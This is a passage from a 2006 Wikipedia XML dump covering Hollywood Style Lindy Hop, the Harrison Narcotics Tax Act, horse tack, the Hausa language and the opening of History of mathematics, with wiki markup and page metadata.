Proponents of the Hollywood Style Lindy Hop often say they're able to dance faster because of the use of counterbalance techniques, and people watching often remark at the smooth nature of the style.  Much of this impression comes about because of the two dimensional nature of film.  All the motion had to be captured in the two available dimensions whereas the Savoy Style is more of a three dimensional dance making it more difficult to present effectively on film.  The film [[Hellzapoppin']] has examples of [[Dean Collins]] doing the Hollywood Style, and [[Frankie Manning]] as part of [[Whitey's Lindy Hoppers]] doing the Savoy Style.

Other names for Hollywood Style often used by instructors other than Erik Robison and Sylvia Skylar:  Smooth Style, LA Style, Dean Style, Collins Style, and often incorrectly as West Coast Swing.  It's also common to simply drop the word &quot;style&quot; and say, &quot;I dance Hollywood&quot; or &quot;I dance Dean&quot; instead of the full moniker of &quot;Hollywood Style&quot; or &quot;Dean Style&quot;.

One variation is [[LA style Lindy]].

[[Category:Lindy Hop]]</text>
    </revision>
  </page>
  <page>
    <title>Harrison Narcotics Tax Act</title>
    <id>14210</id>
    <revision>
      <id>38009880</id>
      <timestamp>2006-02-03T15:56:39Z</timestamp>
      <contributor>
        <username>Dforest</username>
        <id>308431</id>
      </contributor>
      <comment>/* History */ clarify</comment>
      <text xml:space="preserve">The '''Harrison Narcotics Tax Act''' was an American law that regulated and taxed the production, importation, distribution and use of [[opiates]]. The act was proposed by [[Francis Burton Harrison]] of [[New York]] and was approved on [[December 17]], [[1914]].

&quot;An Act To provide for the registration of, with collectors of internal revenue, and to impose a special tax on all persons who produce, import, manufacture, compound, deal in, dispense, sell, distribute, or give away [[opium]] or [[coca]] leaves, their salts, derivatives, or preparations, and for other purposes.&quot;

==History==
Following the [[Spanish-American War]] the U.S. took over government of the [[Philippines]]. Confronted with a licensing system for opium addicts, a Commission of Inquiry was appointed to examine alternatives to this system. The Brent Commission recommended that narcotics should be subject to international control.

This proposal was supported by the [[United States Department of State]] and in [[1906]] President [[Theodore Roosevelt|Theodore Roosevelt]] called for an international opium conference, which was held in [[Shanghai]] in [[1909]]. A second conference was held at [[The Hague]] in [[1911]], and out of it came the first international opium agreement, [[The Hague Convention]] of [[1912]], aimed primarily at solving the [[United Kingdom|British]]-caused opium problems of [[China]].

In [[1914]] the [[United States Senate|Senate]] considered the Harrison bill. The act was supported by the [[United States Secretary of State|Secretary of State]] [[William Jennings Bryan]] who urged that the law be passed to fulfill the obligation of the new international treaty. The debate was about international obligations rather than morality.

The act appears to be concerned about the marketing of opiates. However a clause applying to doctors allowed distribution &quot;in the course of his professional practice only.&quot; This clause was interpreted after [[1917]] to mean that a doctor could not prescribe opiates to an addict, since addiction was not considered a disease. A number of doctors were arrested and some were imprisoned. The medical profession quickly learned not to supply opiates to addicts.

The impact of diminished supply was obvious by mid-1915. A 1918 commission called for sterner law enforcement. Congress responded by tightening up the Harrison Act - the importation of [[heroin]] for any purpose was banned in [[1924]].

The use of the term '[[narcotic]]s' in the title of the act to describe not just opiates but also cocaine&amp;nbsp;&amp;mdash; which is a central nervous system stimulant, not a narcotic&amp;nbsp;&amp;mdash; initiated a precedent of frequent legislative and judicial misclassification of various substances as 'narcotics'. Today, law enforcement agencies, popular media, the [[United Nations]], and even some medical practitioners can be observed applying the term very broadly and often pejoratively in reference to a wide range of illicit substances, regardless of the more precise definition existing in medical contexts.

[[Category:Legal history of the United States]]
[[Category:1914 in law]]
[[Category:Taxation in the United States]]
[[Category:United States controlled substances law]]</text>
    </revision>
  </page>
  <page>
    <title>Heisenbug</title>
    <id>14211</id>
    <revision>
      <id>33522271</id>
      <timestamp>2006-01-01T22:47:36Z</timestamp>
      <contributor>
        <username>Keenan Pepper</username>
        <id>124371</id>
      </contributor>
      <comment>merge into [[Unusual software bug]]</comment>
      <text xml:space="preserve">#redirect [[unusual software bug]]</text>
    </revision>
  </page>
  <page>
    <title>Horse tack</title>
    <id>14215</id>
    <revision>
      <id>41862695</id>
      <timestamp>2006-03-02T05:26:33Z</timestamp>
      <contributor>
        <ip>24.127.26.212</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">'''Tack''' is any of the various accessories worn by [[horse]]s in the course of their use as [[domestication of the horse|domesticated]] [[animal]]s. Saddles, stirrups, bridles, halters, reins, bits, harnesses, martingales, and breastplates are all forms of horse tack.

== Saddles ==
:{{seealso|Sidesaddle}}
[[image:mounted-police.jpg|250px|thumb|A horse equipped with a saddle for mounted police.]]
'''Saddles''' are seats for the [[horseback riding|rider]], fastened to the horse's back by means of a ''girth'' or ''[[cinch]]'', a wide [[strap]] that goes around the horse at a point about four inches behind the forelegs. Some saddles will also have a second strap known as a ''flank cinch'' that fastens at the rear of the saddle and goes around the widest part of the horse's belly. 

It is important that the saddle is comfortable for both the rider and the horse&amp;mdash;an improperly fitting saddle may rub and cause the horse pain and can lead to the horse, rider, or both getting injured. 

There are many types of saddles, each specially designed for its given task.
Saddles are usually divided into two major categories, &quot;English saddles&quot; and &quot;Western Saddles&quot; according to riding discipline they are used in. Other types of saddles, such as racing saddles, Australian saddles, and endurance saddles do not fit in either category.

[[Image:saddle without tree.jpg|thumb|250px|right|A ''treeless saddle'']]
A new class of saddles have no tree inside (''treeless saddles''); they are mainly used for pleasure and trail riding and endurance. 

*[[English Saddle]]s
**Jumping Saddle
**Dressage Saddle
**Polo Saddle
**Park Saddle
**Racing Saddle
**Show Saddle (gaited)
**A/P or All Purpose (G/P General Purpose)
*[[Western Saddle]]
**Roping Saddle
**Barrel Racing Saddle
**Endurance Saddle
**Trail Saddle
**Pleasure Saddle 
*[[Sidesaddle]]
**English Sidesaddle
**Western Sidesaddle
*Military Saddle
*Australian stock saddle
*Treeless saddle

For the parts of the English Saddle, see [http://www.ultimatehorsesite.com/info/esaddle.html Parts of the English Saddle]
For the parts of the Western Saddle, see [http://www.ultimatehorsesite.com/info/wsaddle.html Parts of the Western Saddle]

== Stirrups ==
{{main|Stirrup}}
[[Stirrup]]s are supports for the rider's [[foot|feet]] that hang down on either side of the ''saddle''. The invention of stirrups was of great significance in [[war horse|mounted combat]], giving the rider a secure footing while on horseback.  At the same time the stirrups are problematic due to the tendency for feet to get stuck in them in dire moments, causing the rider to be dragged.  Because of this danger saddlers have developed both ''safety stirrups'' or peacock stirrups &amp;mdash;which are either shaped to allow the rider's foot to slip out easily or are closed with a [[rubber]] band&amp;mdash;and ''safety stirrup bars'' that are hangers for the stirrup [[leather]] that allow it to detach from the saddle in an emergency.

== Bridles and halters ==
:{{seealso|Halter}}
[[image:horse in field.jpg|thumb|A horse wearing a halter.]]
[[Image:Saddlewithbridle.jpg|thumb|[[Western Saddle]] with a bridle hanging from the horn]]
'''[[Bridle]]s''' and '''[[halter]]s''' are an arrangement of straps around the horse's head used for [[animal communication|communicating]] with the animal. Bridles contain a ''bit'' attached to ''reins'' and are used for riding and driving horses. On the other hand, halters have no bit, are more general-purpose, and most often equipped for leading (particularly [[horse|pack horse]]s) or tethering a horse with a lead rope. A ''hackamore'' is a type of bitless bridle usually used to train young horses, or to go easy on an older horses mouth.  Hackamores or Bosal's are usually seen in western riding.

'''[[Raised bridle]]s''' have a raised noseband and are seen in English riding, as western bridles rarely have nosebands.

'''[[Double bridle]]s''' use two bits in the mouth at once. The two bits allow the rider to have very precise control of the horse; usually only very advanced horses and riders use double bridles. Double bridles are usually seen in the top levels of [[dressage]], as well as for showing purposes.

A '''[[lungeing cavesson]]''' is a special type of halter used for ''[[lungeing]]'' a horse. Lungeing is causing a horse to walk, trot and/or canter in a large circle around the handler. It is used for training and exercise.

== Reins == 
{{main|Reins}}
'''[[Reins]]''' consist of leather straps or rope attached to the outer ends of a ''bit'' and extend to the rider's or driver's hands. Reins are the means by which a horse rider or driver [[animal communication|communicates]] directional commands to the horse's head. Pulling on the reins can be used to steer or stop the horse. The sides of a horse's mouth are sensitive, so pulling on the reins pulls the bit, which then pulls the horse's head from side to side, which is how the horse is controlled.

On some types of harnesses there might be supporting rings to carry the reins over the horse's back. When pairs of horses are used in drawing a [[wagon]] or [[coach]] it is usual for the outer side of each pair to be connected to reins and the inside of the bits connected by a short bridging strap or rope. The driver carries &quot;four-in-hand&quot; or &quot;six-in-hand&quot; being the number of reins connecting to the pairs of horses.

A rein may be attached to a ''halter'' to lead or guide the horse in a circle for training purposes or to lead a packhorse.

== Bits ==

A '''bit''' is piece of [[metal]] that is placed in the horse's mouth, although on occasion the bit may be made of other materials. Despite popular opinion, the bit does not rest on the [[teeth]] of the horse. The bit hangs in a space behind the front &quot;cutting&quot; teeth and in front of the back &quot;grinding&quot; teeth.  This space is known as the &quot;bar&quot;.  When a horse is said to &quot;grab the bit in its teeth&quot; they actually mean that the horse hardens its lips and mouth against the bit to ignore the rider's commands.  Bits offer varying degrees of control and communication between rider and horse depending upon their design and on the skill of the rider.  It is important that the style of bit is appropriate to the horse's needs and is fitted properly for it to function properly and be as comfortable as possible for the horse. 

The types of bits are too numerous to list, but here are some examples:

*[[Curb bit]]
*[[Snaffle|Snaffle bit]]
*[[Gag bit]]
*[[Pelham bit]]
*[[Kimberwicke|Kimberwicke bit]]

Bits come in several different mouthpieces and (for snaffles) rings. Some of these include:

Mouthpieces:
*Single jointed
*Mullen mouth (straight bar)
*Dr. Bristol
*French mouth
*Corkscrew
*Single and double twisted wire
*Waterford

Rings:
*Loose ring
*D-ring
*Eggbutt
*Full-cheek
*Baucher
*Half-cheek

Bits are designed to work by pressure, not pain. Of course, in the wrong hands even the mildest bit can hurt the horse.  Commands should be given with only the slightest movements of the hands.  Instead of wrenching the horse's head in one direction by force, you should indicate the desired direction by tightening and loosening the grip on the reins.  In fact, the majority of steering, especially in English riding is done with the legs and seat.  The calf of the leg is used to push the body of the horse in a certain direction while the other one is used as a pivot and to provide the correct amount of impulsion required to keep the horse moving. Change of position of the seatbones and hip, and the pressure of the seatbone, are also extremely useful in not only turning, but speeding up and slowing down.

== Harness ==
[[image:horsecart with watermelons.jpg|250px|thumb|A harness attaches this horse to a horsecart.]]
A [[harness]] is a complicated set of devices and straps that attaches a horse to a [[cart]], a [[sledge]] or any other load.  There are as many kinds of harnesses as there are vehicles and loads to attach to a horse. 

A horse that is used solely for [[Draft horse|draughting]] will have a ''bridle'', ''[[rein]]s'', ''[[collar (animal)|collar]]'' and ''[[hame]]s'', and ''[[trace (tack)|traces]]''. A horse that is supporting shafts, such as on carts, will also have a saddle to support the shafts and a [[britchen]] to brake the forward motion of the vehicle, especially when stopping or moving downhill. Horses guiding vehicles by means of a pole, such as a [[wagon]], a [[plow]], or a [[dray]], will have at least pole-straps attached to the lower part of their collar.

==Martingales and breastplates==
:{{seealso|Martingale (tack)}}
A '''[[Martingale (tack)|martingale]]''' is a strap that (1) keeps the horse from raising its head above a point of control or (2) keeps the horse from tossing its head and smacking its rider in the face.

Martingale types include:

*Running martingale: There are 2 types:  1 has a ''yoke'' around the neck, a part that runs between the front legs and attaches to the girth of a saddle, and a ''fork'' at the chest that branches off and attaches to each rein, so that the bit presses on the bars of the mouth if the horse raises the head too high.  2- has a &quot;yoke&quot; around the neck, attaches to the girth, and either has a ring on each side of the yoke or a &quot;fork&quot; with a ring at each end, where the reins run through the rings, enabling the rider to more easily keep the horse flexed at the poll.  Fitted correctly, this 2nd type of running martingale does not control how high the horse carries his head.

*Standing martingale: similar to the running martingale, but instead of a ''fork'' it has one strap that runs from the chest and attaches to the noseband of the bridle, and therefore has no affect on the bit in the horse's mouth. A western counterpart to this piece of equipment is the ''tie down''. The standing martingale, however, does not provide as much freedom for the horse, which could be dangerous for [[cross-country equestrianism|cross-country]] riding. Therefore, when a horse is used for [[eventing]] it must use a running martingale for safety reasons, if a martingale is to be used at all.

*Irish martingale: Unlike the previous two martingales, this does not control the height of the horse's head, but merely keeps the reins from going over the horse's head in the result of a fall. It consists of a piece of leather with a ring on each end in which each rein runs through.

'''Breastplates''', '''breastcollars''', and '''breastgirths''' are all extra equipment used to keep the saddle from sliding back. They are usually seen in demanding, fast-paced sports like [[eventing]], [[show jumping]], and [[polo]], as well as [[fox hunting]].  They are also seen in Western events, with a more decorative than utilitarian function.

==Associated Accoutrements==

*[[Spur]]s
*[[Whip (implement)|Whip]]
*[[Crop (implement)|Crop]]

[[Category:Horse tack|*]]
[[Category:Horse racing]]

==External links==
* [http://www.militaryhorse.org/ Society of the Military Horse]
* [http://stateline-tack.bloggity.net/ Stateline Tack]
* [http://www.kaarenjordan.com/ Saddle Fitting Guide]
* [http://www.ridetreelesssaddles.com/ Treeless Saddles Information]

[[de:Geschirr (Zugtier)]]
[[is:Reiðtygi]]
[[ro:Accesorii de călărie]]</text>
    </revision>
  </page>
  <page>
    <title>Hausa language</title>
    <id>14216</id>
    <revision>
      <id>40968310</id>
      <timestamp>2006-02-24T04:25:12Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
      </contributor>
      <minor />
      <comment>robot  Adding: nn</comment>
      <text xml:space="preserve">{{Infobox Language
|name=Hausa
|nativename=&amp;#1607;&amp;#1614;&amp;#1608;&amp;#1615;&amp;#1587;&amp;#1614;
|familycolor=Afro-Asiatic
|states=[[Benin]], [[Burkina Faso]], [[Cameroon]], [[Ghana]], [[Niger]], [[Nigeria]], [[Togo]]
|speakers=24 million as a first language, 15 million as a second language
|rank=41
|fam2=[[Chadic languages|Chadic]]
|fam3=[[West Chadic languages|West Chadic]]
|fam4=[[List of &quot;A&quot; West Chadic languages|&quot;A&quot; West Chadic]]
|fam5=[[List of &quot;A.1&quot; West Chadic languages|&quot;A.1&quot; West Chadic]]
|nation=Northern [[States of Nigeria]]
|iso1=ha|iso2=hau|iso3=hau}}

'''Hausa''' is the [[Chadic languages|Chadic language]] with the largest number of speakers, spoken as a first [[language]] by about 24 million people, and as a second language by about 15 million more.

==Classification==
Hausa belongs to the [[West Chadic languages]] subgroup of the [[Chadic languages]] group, which in turn is part of the [[Afro-Asiatic languages|Afro-Asiatic language]] family.

==Geographic distribution==
Native speakers of Hausa are mostly to be found in the [[Africa|African]] country of [[Niger]] and in the north of [[Nigeria]], but the language is widely used as a [[lingua franca]] (similar to [[Swahili language|Swahili]] in [[East Africa]]) in a much larger swathe of [[West Africa]], particularly amongst [[Islam|Muslims]]. 

===Official status===
Hausa is an [[official language]] in the north of Nigeria.

===Dialects===
Eastern Hausa [[dialect]]s include [[Kano]], [[Katagum]] and [[Hadejiya]]. Western Hausa dialects include [[Sokoto]],  [[Gobir]], [[Adar]], [[Kebbi]] and [[Zamfara]]. [[Katsina]] is transitional between Eastern and Western dialects. Northern Hausa dialects include [[Arewa]] and [[Arawa]].  [[Zaria]] is the major Southern dialect.

===Derived languages===
[[Barikanchi]] is a [[pidgin]] formerly used in the [[military]].

==Sounds==

===Glottalized Consonants===

Hausa has [[glottalic consonant]]s at four or five [[Place of articulation|places of articulation]] (depending on the dialect), which are not represented in the standard [[Latin alphabet]]. They require movement of the glottis during [[pronunciation]] and have a [[staccato]] sound. Each of these is similar to an English consonant and therefore they are written as modified versions of Latin letters. They can also be denoted with an [[apostrophe]], either before or after depending on the letter, as shown below. See the individual articles on [[pronunciation]]. 

b' / [[Image:hausa_b.gif]], an [[implosive consonant]], [[International Phonetic Alphabet|IPA]] {{IPA|[&amp;#595;]}}, or sometimes {{IPA|[&amp;#660;b]}};

d' / [[Image:hausa_d.gif]], an implosive {{IPA|[&amp;#599;]}}, sometimes {{IPA|[d&amp;#660;]}};

ts', an [[ejective consonant]], {{IPA|[ts&amp;#700;]}} or {{IPA|[s&amp;#700;]}} according to the dialect;

ch', an ejective {{IPA|[t&amp;#643;&amp;#700;]}} (does not occur in Kano dialect)

k' / [[Image:hausa_k.gif]], an ejective {{IPA|[k&amp;#700;]}}; {{IPA|[k&amp;#690;&amp;#700;]}} and {{IPA|[k&amp;#695;&amp;#700;]}} are separate consonants;

'y is a glottalized ''y'', found in only a small number of high frequency words. Historically it developed from [[palatalization|palatalized]] {{IPA|[&amp;#599;]}}.

===Tones===
Hausa is a [[tone language]]. Each of its five [[vowel]]s a, e, i, o and u may have low tone, high tone and falling tone.

For representing tones the French accented vowels may be used:

à è ì ò ù  (low tone)

á é í ó ú   (high tone)

â ê î ô û (falling tone)

In  standard written Hausa, tone is not marked. However it is needed for disambiguation and thus it is marked in dictionaries and other scientific works.

==Writing system==
Hausa has had a written form for more than 200 years, at first with a variant of [[Arabic script]] called ''[[Ajami script|Ajami]]'', but this has largely been superseded by a Latin alphabet which was introduced at the beginning of the [[20th century]]. There are three additional consonants which are added to the basic [[Latin alphabet]]: &amp;#595;, &amp;#599; and &amp;#409;, a fourth consonant ƴ is also sometimes used.

==See also==
* [[Kanem-Bornu Empire]]
* [[Learn Hausa]] 

==External links==
{{InterWiki|code=ha}}
* [http://www.ethnologue.com/show_language.asp?code=HUA Ethnologue report on Hausa]
* [http://www.humnet.ucla.edu/humnet/aflang/Hausa/hausa.html Hausa at UCLA]
* [http://www.univie.ac.at/afrikanistik/oracle/KofarHausaE.html Kofar Hausa dictionary at University of Vienna]
* [http://wikitravel.org/en/Hausa_phrasebook Hausa phrasebook]

[[Category:Chadic languages]] [[Category:Languages of Niger]] [[Category:Languages of Nigeria]] [[Category:Tonal languages]]

[[ar:لغة الهاوسا]]
[[ca:Hausa]]
[[de:Hausa (Sprache)]]
[[es:Idioma hausa]]
[[eo:Haŭsa lingvo]]
[[eu:Hausa]]
[[fr:Haoussa]]
[[he:האוסה (שפה)]]
[[nl:Hausa (taal)]]
[[ja:ハウサ語]]
[[nn:Hausa]]
[[pl:Język hausa]]
[[fi:Hausan kieli]]
[[sv:Hausa]]
[[zh:豪萨语]]</text>
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    <title>Homophobic</title>
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        <ip>Conversion script</ip>
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    <title>History of mathematics</title>
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      <comment>/* Mathematics in prehistory */ great pyramid was built around 2600 BC</comment>
      <text xml:space="preserve">:''See [[Timeline of mathematics]] for a timeline of events in mathematics. See [[list of mathematicians]] for a list of biographies of mathematicians.''

The word &quot;[[mathematics]]&quot; comes from the [[Greek language|Greek]] &amp;#956;&amp;#940;&amp;#952;&amp;#951;&amp;#956;&amp;#945; (''máthema'') which means &quot;science, knowledge, or learning&quot;; &amp;#956;&amp;#945;&amp;#952;&amp;#951;&amp;#956;&amp;#945;&amp;#964;&amp;#953;&amp;#954;&amp;#972;&amp;#962; (''mathematikós'') means &quot;fond of learning&quot;. Today, the term refers to a specific body of knowledge -- the rigorous, deductive study of quantity, structure, space and change.

While almost all cultures use basic mathematics{{rf|1|Amazon}} (counting and measuring), new mathematical discoveries have been reported in relatively few cultures and ages. Before the modern age and the worldwide spread of knowledge, written examples of new mathematical discoveries come to light only in a few locales. The most ancient mathematical texts come from [[ancient Egypt]] in the [[Middle Kingdom of Egypt|Middle Kingdom period]] circa [[2000 BC|2000]]-[[1800 BC]] (Berlin 6619), [[Mesopotamia]] circa [[1900 BC|1900]]-[[1700 BC]] (Plympton 322), and [[ancient India]] circa [[800 BC|800]]-[[600 BC]] ([[Sulba Sutras]]). All of these texts concern the so-called [[Pythagorean theorem]], which seems to be the most ancient and widespread mathematical discovery after basic arithmetic and geometry. [[Ancient Greece]] and the [[Hellenistic]] cultures of [[Egypt]], [[Mesopotamia]] and the city of [[Syracuse, Italy|Syracuse]] increased mathematical knowledge immensely. The [[Han Dynasty]] in [[ancient China]] circa [[200 BC]] to [[200|AD 200]] contributed the ''Sea Island Manual'' and ''[[The Nine Chapters on the Mathematical Art]]''. [[Jain]]a mathematicians contributed from [[200 BC]] to [[400|AD 400]], followed by [[Hindu]] mathematicians from [[400]] and [[Islam]]ic mathematicians from [[800]] who made major contributions to mathematics.

One striking feature about the history of ancient mathematics is that bursts of mathematical discovery tended to be followed by centuries of non-discovery. Beginning in [[Renaissance]] [[Italy]] in the [[16th century]], new mathematical discoveries, interacting with new scientific discoveries, were made at an ever increasing pace, and this continues to the present day. People throughout the world have contributed to modern mathematics.

==Mathematics in prehistory==
Long before the earliest written records, there are drawings that indicate a knowledge of mathematics and of measurement of time based on the stars. For example, [[Paleontology|paleontologists]] have discovered [[ochre]] rocks in a cave in [[South Africa]] adorned with scratched [[Geometry|geometric]] patterns dating back to c. 70,000 BC [http://www.accessexcellence.org/WN/SU/caveart.html]. Also [[Prehistory|prehistoric]] [[artifact (archaeology)|artifact]]s discovered in [[Africa]] and [[France]], dated between [[35000 BC|35,000 BC]] and [[Upper Paleolithic|20,000 BC]], indicate early attempts to [[quantification|quantify]] [[time]]. Evidence exists that early counting involved women who kept records of their monthly biological cycles; twenty-eight, twenty-nine, or thirty scratches on bone or stone, followed by a distinctive scratching on the bone or stone, for example. Moreover, hunters had the concepts of ''one'', ''two'', and ''many'', as well as the idea of ''none'' or ''zero'', when considering herds of animals.  (references: [http://www.tacomacc.edu/home/jkellerm/Papers/Menses/Menses.htm], [http://www.math.buffalo.edu/mad/Ancient-Africa/lebombo.html], [http://www.math.buffalo.edu/mad/Ancient-Africa/ishango.html]).

The [[Ishango Bone]], found in the area of the headwaters of the [[Nile River]] (northeastern [[Democratic Republic of the Congo|Congo]]), is the earliest known demonstration of [[sequence]]s of [[prime number]]s, and some series of multiples, dating as early as [[Upper Paleolithic|20,000 BC]]. [[Predynastic Egypt]]ians of the [[5th millennium BC]] pictorially represented [[Geometry|geometric]] [[spatial]] designs. [[Megalith]]ic monuments from as early as the [[5th millennium BC]] in [[Egypt]], and then subsequently [[England]] and [[Scotland]] from the [[3rd millennium BC]], incorporate geometric ideas such as [[circle]]s, [[ellipse]]s, and [[Pythagorean triples]] in their design, as well as a possible understanding of the measurement of time based on the movement of the stars. From circa [[3100 BC]], Egyptians introduced the earliest known [[decimal|decimal system]], allowing indefinite counting by way of introducing new symbols, [http://www.math.buffalo.edu/mad/Ancient-Africa/mad_ancient_egyptpapyrus.html#berlin].

The earliest known mathematics in [[ancient India]] dates back to circa [[3000 BC]] in the [[Indus Valley Civilization]] ([[Harappan civilization]]) of [[North India]] and [[Pakistan]], which developed a system of [[Ancient Indus Valley units of measurement|uniform weights and measures]] that used [[decimal]] [[fraction]]s, a surprisingly advanced [[brick]] technology which utilised [[ratio]]s, streets laid out in perfect [[right angle]]s, and a number of geometrical shapes and designs, including [[cuboid]]s, [[barrel]]s, [[cone (solid)|cones]], [[cylinder]]s, and drawings of concentric and intersecting [[circle]]s and [[triangle]]s. Mathematical instruments discovered include an accurate decimal ruler with small and precise subdivisions, a shell instrument that served as a [[compass]] to measure angles on plane surfaces or in horizon in multiples of 40–360 degrees, a shell instrument used to measure 8–12 whole sections of the horizon and sky, and an instrument for measuring the positions of stars for navigational purposes. The [[Indus script]] has not yet been deciphered; hence very little is known about the written forms of [[Indian mathematics#Harappan Mathematics .283300 BC - 1700 BC.29|Harappan mathematics]]. Archeological evidence has led some historians to believe that this civilization used a [[base 8]] [[numeral system]] and possessed knowledge of the ratio of the length of the [[circumference]] of the circle to its [[diameter]], thus a value of [[π]].

Circa [[2600 BC]], Egypt's massive construction techniques represent not only precision [[surveying]] but also suggest knowledge of the [[golden ratio]].

==Ancient Egyptian mathematics (2000 BC - 600 BC) ==
{{Main|Egyptian mathematics}}
[[Egypt]]ian mathematics refers to mathematics written in the [[Egyptian language]]. From the [[Hellenistic period]], [[Greek language|Greek]] replaced Egyptian as the written language of [[Egyptian people|Egyptian]] scholars, and from this point Egyptian mathematics merged with Greek and Babylonian mathematics to give rise to Hellenistic mathematics. Mathematical study in [[Egypt]] later continued under the [[Islamic Caliphate]] as part of [[Islamic mathematics]], when [[Arabic]] became the written language of Egyptian scholars.

The oldest mathematical text discovered so far is the [[Moscow papyrus]], which is an [[Egyptian]] [[Middle Kingdom]] papyrus dated circa 2000 BC - 1800 BC. Like many ancient mathematical texts, it consists of what are today called &quot;word problems&quot; or &quot;story problems&quot;, which were apparently intended as entertainment. One problem is considered to be of particular importance because it gives a method for finding the volume of a [[frustrum]]: &quot;If you are told: A truncated pyramid of 6 for the vertical height by 4 on the base by 2 on the top. You are to square this 4, result 16. You are to double 4, result 8. You are to square 2, result 4. You are to add the 16, the 8, and the 4, result 28. You are to take one third of 6, result 2. Your are to take 28 twice, result 56. See, it is 56. You will find it right.&quot; 

The [[Rhind papyrus]] (circa 1650 BC) is another major Egyptian mathematical text, an instruction manual in arithmetic and geometry. In addition to giving area formulas and methods for multiplication, division and working with unit fractions, it also contains evidence of other mathematical knowledge (see [http://mathpages.com/home/rhind.htm]), including [[composite number|composite]] and [[prime number]]s; [[arithmetic mean|arithmetic]], [[geometric mean|geometric]] and [[harmonic mean]]s; and simplistic understandings of both the [[Sieve of Eratosthenes]] and [[Perfect number|perfect number theory]] (namely, that of the number 6)[http://mathpages.com/home/rhind.htm]. It also shows how to solve first order [[linear equation]]s [http://www-history.mcs.st-andrews.ac.uk/history/HistTopics/Egyptian_papyri.html] as well as [[arithmetic series|arithmetic]] and [[geometric series]] [http://www.math.buffalo.edu/mad/Ancient-Africa/mad_ancient_egypt_algebra.html#areithmetic%20series].

Also, three geometric elements contained in the Rhind papyrus suggest the simplest of underpinnings to [[analytical geometry]]: (1) first and foremost, how to obtain an approximation of &lt;math&gt;\pi&lt;/math&gt; accurate to within less than one per cent; (2) second, an ancient attempt at [[squaring the circle]]; and (3) third, the earliest known use of a kind of [[cotangent]].

Finally, the [[Berlin Papyrus]] (circa 1800 BC) shows that ancient Egyptians could solve a second-order [[algebraic equation]] [http://www.math.buffalo.edu/mad/Ancient-Africa/mad_ancient_egyptpapyrus.html#berlin].

==Ancient Babylonian mathematics (1900 BC - 312 BC) ==
{{Main|Babylonian mathematics}}
[[Babylonia]]n mathematics refers to any mathematics of the peoples of [[Mesopotamia]] (present-day [[Iraq]]) from the days of the early [[Sumer|Sumerians]] until the beginning of the [[Hellenistic period]]. It is named Babylonian mathematics due to the central role of [[Babylon]] as a place of study, which ceased to exist during the Hellenistic period. From this point, Babylonian mathematics merged with Greek and Egyptian mathematics to give rise to Hellenistic mathematics. Later under the [[Islamic Caliphate]], mathematical study continued in [[Baghdad]] (near the ruins of [[Babylon]]) as part of [[Islamic mathematics]], when [[Arabic]] became the written language of scholars throughout the Islamic world.

In contrast to the sparsity of sources in [[Egyptian mathematics]], our knowledge of Babylonian mathematics is derived from more than 400 clay tablets unearthed since the 1850s. Written in [[Cuneiform script]], tablets were inscribed whilst the clay was moist, and baked hard in an oven or by the heat of the sun. Some of these appear to be graded homework. The majority of recovered clay tablets date from 1800 to 1600 BC, and cover topics which include fractions, algebra, quadratic and cubic equations, and the calculation of [[Pythagorean triple]]s (see [[Plimpton 322]]).{{rf|2|Hoff}} The tablets also include multiplication tables, [[trigonometry]] tables and methods for solving [[linear equation|linear]] and [[quadratic equation]]s. The Babylonian tablet YBC 7289 gives an approximation to &amp;radic;2 accurate to nearly six decimal places.

Babylonian mathematics was written using a [[sexagesimal]] (base-60) [[numeral system]]. From this we derive the modern day usage of 60 seconds in a minute, 60 minutes in an hour, and 360 (60 x 6) degrees in a circle. Babylonians advances in mathematics were facilitated by the fact that 60 has many divisors.  Also, unlike the Egyptians, Greeks, and Romans, the Babylonians had a true place-value system, where digits written in the left column represented larger values, much as in the [[decimal]] system.  They lacked, however, the use of zero, or any other place holder, and so the place value of a symbol often had to be inferred from the context.

==Ancient Indian mathematics (900 BC - 200 BC)==
{{main|Indian mathematics}}
After the collapse of the [[Indus Valley Civilization]] in [[1500 BC]], writing disappears from [[South Asia]] for a long time. There is considerable controversy regarding the dates when both writing re-emerges in India and the [[Brahmi]] script is developed.[http://www.ucl.ac.uk/~ucgadkw/position/salomon.html] Some scholars, such as [[Georg Bühler]], date the Brahmi script as early as the [[8th century BC]], others from the [[Maurya dynasty]] in the [[4th century BC]]. Recent archeological evidence dates it to [[600 BC]] (see [[Brāhmī]]), while some scholars even suggest [[1000 BC]].[http://www.hindu.com/2005/04/03/stories/2005040301931400.htm] If the earlier dates are correct, then perhaps, as historians such as [[Florian Cajori]] have claimed, [[Pythagoras]] traveled to India and learned mathematics there. But if the later date is correct, then Indian mathematics may have benefited from contact with Greece following the invasion of [[Alexander]]. It is also possible that the two mathematical traditions developed independently, which is the view currently supported by most scholars.

After the onset of the [[Iron Age]], the progress of Indian mathematics is fairly continuous until the [[16th century|16th century AD]], but it can be divided into roughly two periods of development. This section summarizes the period between [[800 BC]] and [[200 BC]], when Indian mathematics was not studied for the sole purpose of science, but there are still advanced mathematics papers scattered throughout a large body of Indian texts from this period (many are of uncertain date and authorship, however, and do not follow a serious mathematical tradition).

The [[Yajurveda|Yajur-Veda]] composed by [[900 BC]], first explained the concept of numeric [[infinity]]. [[Yajnavalkya]] (circa [[900 BC|900]]-[[800 BC]]) computed the value of [[π]] to 2 decimal places. The [[Sulba Sutras]] (circa [[800 BC|800]]-[[600 BC]]) were [[geometry]] texts that first used [[irrational numbers]], [[prime numbers]], the [[rule of three (mathematics)|rule of three]] and [[cube root]]s; computed the [[square root]] of 2 to five decimal places; gave the method for [[squaring the circle]]; solved [[linear equation]]s and [[quadratic equations]]; discovered [[Pythagorean triples]] algebraically and gave a statement and numerical proof of the [[Pythagorean theorem]].

The [[linguist]] [[Pāṇini|Panini]] formulated the [[grammar]] rules for [[Sanskrit]] in the [[5th century BC]]. His notation was similar to modern mathematical notation, and used metarules, [[transformation]]s, and [[recursion]]s with such sophistication that his grammar had the [[computing]] power equivalent to a [[Turing machine]]. Panini's work is also the forerunner to modern [[formal language theory]] (precursor to [[computing]]), while the [[Panini-Backus form]] used by most modern [[programming language]]s is also significantly similar to Panini's grammar rules. [[Pingala]] ([[4th century BC|4th]]-[[3rd century BC]]) invented the [[binary numeral system|binary number system]], [[Fibonacci series]] and [[Pascal's triangle]], and also used a dot to denote [[0 (number)|zero]] and described the formation of a [[matrix (mathematics)|matrix]]. The works of Panini and Pingala were foundational to the development of [[computing]].

==Greek and Hellenistic mathematics (550 BC - 200 BC)==
{{main|Greek mathematics}}
